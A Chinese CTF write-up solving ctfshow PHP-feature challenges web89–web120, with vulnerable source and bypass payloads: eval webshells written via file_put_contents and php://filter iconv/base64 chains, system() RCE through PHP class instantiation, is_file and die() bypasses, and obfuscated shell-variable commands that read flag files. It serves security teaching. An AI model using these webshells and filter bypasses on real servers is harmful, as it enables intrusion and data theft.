PHP特性篇 web89-web120 web89 1 2 3 4 5 6 7 8 9 10 11 12 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
审计代码,需要get传入一个num参数,然后后面过一个intval的判断。preg_match函数传入的变量是数组的时候会报错并返回0;而intval函数传入的变量是数组的时候会返回1,所以只需要传入数组就行。
web90 intval()的绕过。intval()接受两个参数,一个参数是要转换为整型的变量,另一个是指定转换的基数,比如转换为x进制。一些典型的输出是这样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php echo intval (42 ); echo intval (4.2 ); echo intval ('42' ); echo intval ('+42' ); echo intval ('-42' ); echo intval (042 ); echo intval ('042' ); echo intval (1e10 ); echo intval ('1e10' ); echo intval (0x1A ); echo intval (42000000 ); echo intval (420000000000000000000 ); echo intval ('420000000000000000000' ); echo intval (42 , 8 ); echo intval ('42' , 8 ); echo intval (array ()); echo intval (array ('foo' , 'bar' )); ?>
因为接受的是一个字符串,所以直接输入
总之就是4476的各种变形即可
web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
审计代码,应该是考PHP正则表达式的,php正则表达式的flag有以下几种
i 执行不区分大小写的搜索 m 执行多行搜索(搜索字符串开头或结尾的模式将匹配每行的开头或结尾) u 启用 UTF-8 编码模式的正确匹配
/^php$/im 表示将匹配以 “php” 开头和结尾的字符串,不区分大小写,且可以跨越多行。^表示匹配字符串开头,$表示匹配字符串末尾,i表示不区分大小写,m表示跨越多行。
这样就很好绕过了,第二个preg_match()中的正则表达式没有m,那么就直接把php放在第二行即可。
web92 直接转16进制即可。
一个wp 这样写:
1 intval($num,0)==4476根据num的格式来决定使用的进制,这里可以使用16进制。0x117c
也可以使用科学计数法绕过。
1 intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93 限制了不能用字母。但是,可以用其他进制绕过。
1 2 3 二进制: 0b???? 八进制: 0???? 十六进制: 0x????
八进制不含字母,就可以绕过了。
web94 限制了不能通过进制转换,而且开头不能有0,但是必须要有0。那还能通过小数点。
strpos() 是 PHP 函数,它返回字符串中第一次出现子字符串的位置。该函数接受两个参数:要搜索的字符串和要搜索的子字符串。如果未找到子字符串,则 strpos() 返回 false。如果在字符串开头找到子字符串,则 strpos() 返回 0,在某些上下文中可以解释为 false
对 $pos = strpos($num, “0”); 这段代码来说,如果在 $num 中未找到子字符串 “0”,则 $pos 将为 false。如果 “0” 在 $num 的开头找到,则 $pos 将为 0。否则,$pos 将是 $num 中第一次出现 “0” 的位置
web95 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
比起上一道题,这道题的第一个比较用了弱比较,而且后面的正则还加了个小数点,就无法用4476.0绕过了。因为strpos在这里只是检查第一个字符是不是0,所以可以加一个+,然后用八进制绕过。
web96 1 2 3 4 5 6 7 8 if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
审计代码,需要get传一个u参数,该参数不能是flag.php这个字符串。那就直接传?u=./flag.php即可。
web97 1 2 3 4 5 6 7 8 9 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;}
审计代码,需要post传两个参数,a和b。a和b的值不能相同,但是它们经过md5函数后必须严格相等。
PHP的md5()没法处理数组,所以直接传两个数组进去,就是null===null。
post传a[]=1&b[]=2即可。
web98 1 2 3 4 5 include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );
这段代码很乱,有点看不懂,一句句分着来看。
1 $_GET ?$_GET =&$_POST :'flag' ;
代码1:如果传入get参数,则get参数变成post的参数。
php中取值运算符”&”表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也跟着变化。通常的赋值语句$b=$a相当于copy了一个a的副本给b,b变化a不变化。取址就相当于把根刨了。解释来自这个wp ?运算符是三元运算符,也称为条件运算符。它的语法是expr1 ? expr2 : expr3,其中expr1是一个条件表达式,如果它的值为true,则返回expr2的值,否则返回expr3的值。
1 $_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;
代码2:如果get参数的flag参数为“flag”,则get参数变为cookie的参数。
1 $_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;
代码3:如果get参数的flag参数为“flag”,则get参数变为server的参数。
1 highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );
代码4:如果get参数的HTTP_FLAG参数为“flag”,则返回$flag变量为名的文件,否则高亮本身的文件。
那么由代码4,首先就需要放一个HTTP_FLAG参数,为flag。然后,因为有代码1,所以需要在POST放一个HTTP_FLAG参数,其值为flag。在经过代码1后,代码2和代码3就基本没作用了。所以最后是同时GET和POST HTTP_FLAG=flag这个参数。
web99 1 2 3 4 5 6 7 8 highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }
首先创建了一个allow参数,其为一个数组,然后使用array_push做了从36到0x36D的循环,每次循环中都会推入一个随机值。
之后,会接收一个get参数n,使用in_array()函数对n进行检查,如果n在array中,则返回true。当if条件为真时,就将post请求中的content参数写入文件名为n的文件中。
in_array(search,array,type)函数有三个参数,前两个参数是必须的,search为搜索词,array为搜索数组;第三个参数被设置为true时,会检查search的类型是否和array中元素的类型相同,这个参数默认为false。
但是in_array()函数存在漏洞:在没有设置第三个参数的情况下(默认为false),就可以形成自动转换。在弱类型比较中,字符串会被转换成int,所以,如果n=1.php,就会自动被转换为1。所以,只需要传入一个7shell.php,post的参数内容为一句话木马即可。
1 2 3 4 ?n=7shell.php --post-- content=<?php @eval($_GET['a']);?>
然后访问/7shell.php,即可。
1 /7shell.php?a=phpinfo();
web100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
一眼考is_numeric()的漏洞。
is_numeric()对于空字符,即%00,不论其放在前后都会被判定为非数值;而%20空格字符则只能放在数值后。而且对0x开头的十六进制数也会判断成数字。
我在想该如何让v0变成true,但是看wp发现,只要让v2和v3全是false,v1是true就可以让v0是false了。那么就可以直接var_dump()把$ctfshow变量dump出来。
1 ?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
web101 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
没有头绪,看wp ,首先观察到这里没有过滤空格,似乎是用反射类。
payload为
1 ?v1=1&v2=echo new Reflectionclass&v3=;
这样拼接后就成了
1 eval ("echo new Reflectionclass('ctfshow');" );
可以返回ctfshow类的所有属性,其中一个属性名就是flag。
PHP的反射类是什么?
PHP的反射机制提供了一套反射API,用来访问和使用类、方法、属性、参数和注释等,比如可以通过一个对象知道这个对象所属的类,这个类包含哪些方法,这些方法需要传入什么参数,每个参数是什么类型等等,不用创建类的实例也可以访问类的成员和方法,就算类成员定义为 private 也可以在外部访问。 官方文档提供了诸如 ReflectionClass、ReflectionMethod、ReflectionObject、ReflectionExtension 等反射类及相应的API,用得最多的是 ReflectionClass。
搭个简单的示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 class User { public $UserName = "123" ; private $Pass = "adf" ; public function Uf ( ) { $this -> UserName = "321" ; $this -> Pass = "fda" ; } } $user = new User ();$reflection = new ReflectionClass ($user );echo $reflection ;
返回结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Class [ <user> class User ] { @@ test.php 2 -9 - Constants [0 ] { } - Static properties [0 ] { } - Static methods [0 ] { } - Properties [2 ] { Property [ <default > public $UserName ] Property [ <default > private $Pass ] } - Methods [1 ] { Method [ <user> public method Uf ] { test.php 5 - 8 } } }
web102 1 2 3 4 5 6 7 8 9 10 11 12 13 14 highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); }
直接看wp 。
substr(string,start,length)。其中string和start是必选,string是字符串,start是规定在字符串的哪里开始,length是可选,规定被返回字符串的长度,默认是直到字符串的结尾。
call_user_func(callable $callback, mixed …$args): mixed。第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目是php7,所以要另换方法。
Exp:
1 2 3 4 <?php $a = '<?=`cat *`; ' ; $b = bin2hex (base64_encode ($a ));echo $b ;
所以可以构造payload:
1 2 3 ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=2.php POST v1=hex2bin
首先,需要在v2的前面加两个数字,这里加的是11;为什么不能直接把v3=2.php?因为写入的是base64,需要用php伪协议处理一下。最后POST一个hex2bin。
这样,我们的v2首先把s变成5044383959474e686443417159447367,s再被v1的hex2bin执行变为PD89YGNhdCAqYDsg,然后v3在写入时有个base64解码的操作,就变成了cat *的代码。
web103 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } } else { die ('hacker' ); }
这题和上题一样,但是v2的原始字符串不让有php三个字母了。但是上面的原始字符串用php短标签,就没有php三个字母,所以可以直接复用上面的payload。
web104 SHA1绕过?
1 2 3 4 5 6 7 8 9 10 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } }
POST一个v1,GET一个v2,v1等于v2即可,那v1和v2传同样的字符串就行
也可以用PHP特性,这两个字符串sha1后是0e开头,松散比较会直接当成两个数字0。
1 2 3 4 aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
web105 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );
里面出现了两个$
符号的情况。这个叫PHP可变变量名。这让一个变量的变量名可以动态设置和使用。
对这道题来说,就是需要“变量覆盖”,看wp 说是有两种方法。其一是通过error=flag,通过if不满足来替换error。
1 2 3 4 5 GET ?x=flag POST error=x
在get那边,首先$key
=x,那就有$$key
就是$x
;$value
=flag,那就有$$value
=$flag
,经过了get就是$x
=$flag
。 在post那边,用相同的方法把左边赋为$error
=$x
就可以了。
第二种是通过suces。flag设置为空,绕过if(!$_POST['flag']==$flag)
判断。$suces
先保存flag变量的值,然后flag设置为空,从而绕过post那里的判断。
示例1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $Bar = "a" ; $Foo = "Bar" ; $World = "Foo" ; $Hello = "World" ; $a = "Hello" ; $a ; $$a ; $$$a ; $$$$a ; $$$$$a ; $$$$$$a ; $$$$$$$a ;
示例2:
1 2 3 4 5 <?php $a = 'hello' ;$$a = 'world' ;echo "$a {$$a} " ; echo "$a $hello " ;
web106 和web104相同
web107 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }
很好写解: 其中0cc175b9c0f1b6a831c399e269772661是a的md5散列值。
1 2 3 4 5 GET ?v3=a POST v1=flag=0 cc175b9c0f1b6a831c399e269772661
parse_str(string $string, array &$result): void。string是输入的字符串,result在8.0之前是可选参数,表示如果设置了result,变量将会以数组元素的形式存入这个数组。 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $str = "first=value&arr[]=foo+bar&arr[]=baz" ;parse_str ($str , $output );echo $output ['first' ]; echo $output ['arr' ][0 ]; echo $output ['arr' ][1 ]; parse_str ($str );echo $first ; echo $arr [0 ]; echo $arr [1 ]; ?>
web108 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }
ereg ( string $pattern , string $string [, array &$regs ] ) : int 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 ereg在php7.0已经没了。
如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
strrev(string $string): string 返回 string 反转后的字符串。
首先对0x36d
进行strrev转换,得到778,然后直接字符串截断绕过ereg()。
web109 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }
有三种方法绕过,一种是PHP匿名类,一种是PHP异常处理类,一种是PHP反射类。
PHP匿名类就是直接弄个匿名类,然后构造函数里任意命令执行
1 ?v1=class{ public function __construct(){ system('ls'); } };&v2=a
PHP 异常处理类
1 ?v1=Exception &v2=system ('cat fl36dg.txt' )
直接用Exception类,构造函数的异常信息设为ls或者cat xxx之类的。
PHP反射类
1 ?v1=Reflectionclass&v2=system ('cat fl36dg.txt' )
直接用Reflection,把system()什么东西反射出来。
PHP 匿名类
PHP 异常处理类
Exception类的构造函数定义如下:__construct(<异常信息>, <异常代码>, <前一错误>)
,这三个参数都是可选的,作为自己创建的异常对象,我们一般不需要指定后两个参数,但是,如果一个异常一点信息都没有,那怎么知道是出现什么问题了呢?所以,一般我们会指定第一个参数。
web110 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" );
几乎都屏蔽完了。一开始想的是PHP无参数RCE,但是没想到该怎么构造。
看wp,说是使用FilesystemIterator,所以使用FilesystemIterator(getcwd())获取该路径下的第一个文件,发现有个fl36dga.txt。
1 ?v1=FilesystemIterator&v2=getcwd
直接访问/fl36dga.txt就能获取flag。
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } }
这道题需要想到GLOBALS变量。所以?v1=ctfshow&v2=GLOBALS。这里的v1是什么都无所谓,只要能过preg_match就行。所以v1=ctfshowaaaa之类的都能过。
web112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
is_file(string $filename): bool — 判断给定文件名是否为一个正常的文件。如果是正常文件返回true,否则返回false。
在使用除了file://的php伪协议时 ,is_file()会返回false。
1 2 3 4 php://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php compress.zlib://flag.php
web113 这道题比起上一道来说又限制了filter
不能出现在payload里。所以除了使用
1 compress.zlib://flag.php
以外,还可以用目录溢出。超出is_file能处理的最大长度,就不认为这是一个文件了。上题也能用这个payload。
1 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self/root是一个符号链接,指向当前进程的根目录。它是用于访问当前进程的根目录,而无需查找进程ID的一种方法
web114 这道题又没有屏蔽filter,直接用112题的payload就行
web115 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
这道题疑似在考trim()。
trim(string $string, string $characters = “ \n\r\t\v\x00”): string — 去除字符串首尾处的空白字符(或者其他字符)
1 2 3 4 5 6 7 8 此函数返回字符串 string 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符: " " (ASCII 32 (0x20)),普通空格符。 "\t" (ASCII 9 (0x09)),制表符。 "\n" (ASCII 10 (0x0A)),换行符。 "\r" (ASCII 13 (0x0D)),回车符。 "\0" (ASCII 0 (0x00)),空字节符。 "\v" (ASCII 11 (0x0B)),垂直制表符。
但是trim()没有去除\f
,也就是翻页符。
web116 提示是misc+lfi,然后是一个视频。直接idm把视频弄下来,然后放到binwalk里分析。分析出好些个文件
1 2 3 4 5 6 7 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 27657186 0x1A603E2 PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b 27820636 0x1A8825C MySQL ISAM index file Version 8 28976826 0x1BA26BA HPACK archive data 40994603 0x271872B PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced 40994644 0x2718754 Zlib compressed data, default compression
但是binwalk分离不出来,就用foremost分离,分离出一张图片,图片上是代码。
1 2 3 4 5 6 <?php function filter ($x )(if (preg_match('/http https data input rot13 base64 string log sess/i' ,$x ) )[die ('too young too simple sometimes native!' );$file =isset ($ GET['file' ] )?$_GET ['file' ]:"sp2.mp4" ; header('Content-Type: video/mp4' ) ; filter($file ); echo file _get_contents($file );
就很明显是文件包含
尝试包含一个?file=flag.php,然后看不到任何东西,直接看network那里也没东西,看了wp,用burp抓包才抓到。当然,?file=/etc/passwd也是可以的。
web117 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );error_reporting (0 );function filter ($x ) { if (preg_match ('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } } $file =$_GET ['file' ];$contents =$_POST ['contents' ];filter ($file );file_put_contents ($file , "<?php die();?>" .$contents );
文件写入,经典绕过die()。死亡绕过1 死亡绕过2
这道题,过滤了太多(base64、rot13、zlib等等),但是没有过滤iconv。所以可以使用iconv试一下。
1 2 echo iconv ("UCS-2LE" ,"UCS-2BE" ,'<?php @eval($_GET[cmd]);?>' );
我才知道,$_GET[]
里面是可以不用加单引号的,PHP的灵活性还是太高了。
1 2 3 4 GET ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php POST contents=?<hp pe@av(l_$EG[Tc'dm]';)>?
直接访问马就行了
1 a.php?cmd=system('cat flag.php');
web118 打开后是一个输入框,无论怎么弄都是evil input。从wp 处学到了一手可以通过Burpsuite来FUZZ。 通过把QWERTYUIOsadfghjjk{}:"
这种内容弄一个字典然后挨个用Burpsuite爆破,发现所有的大写字母,以及@$_~#;.{}:?
没有被waf。根据f12源代码里的system($code);
,大致是需要让我们构造$code
吧。
wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # echo ${PWD} /root # echo ${PWD:0:1} #表示从0下标开始的第一个字符 / # echo ${PWD:~0:1} #从结尾开始往前的第一个字符 t # echo ${PWD:~0} t # echo ${PWD:~A} #所以字母和0具有同样作用 t # echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
总结了几个构造的payload:
1 2 3 4 5 ${PATH:~A}${PWD:~A}$IFS????.??? // ${PATH:~A}就是取path的最后一个字符,对于/bin结尾的PATH,最后一个字符就是n。 // ${PWD:~A}就是取PWD的最后一个字符。对于/var/www/html来说,最后一个字符就是l。 // 所以,${PATH:~A}${PWD:~A}就是nl。 // $IFS是类似空格的分隔符,后面的????.???是通配符,可能是尝试读flag.php。
1 2 3 4 5 ${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.??? // ${PATH:~A}是n。 // ${#TERM}是一个shell变量,它表示TERM变量的长度。 // ${TERM}是一个环境变量,它定义了当前终端的类型。比如,kali的${TERM}就是xterm-256color。 // SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2。
1 2 3 ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? // 使用random来构造
其他知识点:
1 ${#IFS}=3。(linux下是3,mac里是4)
web119 wp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 默认的pwd是 /var/www/html 于是结合hips构造出自己的答案: /bin/cat flag.php /???/?at ?l??.php ${PWD:${#}:${##}} = {${PWD}:0:1} = / (从第零个字符开始,截取一个字符) ${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a (从第二个字符开始,截取一个字符) ${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t (从倒数第二个字符开始,截取一个字符) ${PWD:~A} = 取最后一位 = l ${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???
web120 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } }
注:
1 ${PWD::${#SHLVL}} 就是 ${PWD:0:${#SHLVL}}, 对/var/www/html来说,就是/。
那么跟上道题一样,构造/bin/cat flag.php
即可,但是存在着字符串长度限制。官方的payload是这样的:
1 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
我们怎么知道USER是以a结尾的?所以这个payload不可行,除非知道了USER是以a结尾的。
1 ${PWD::${##}}???${PWD::${##}}?${PWD:${SHLVL}:${##}}? ????.???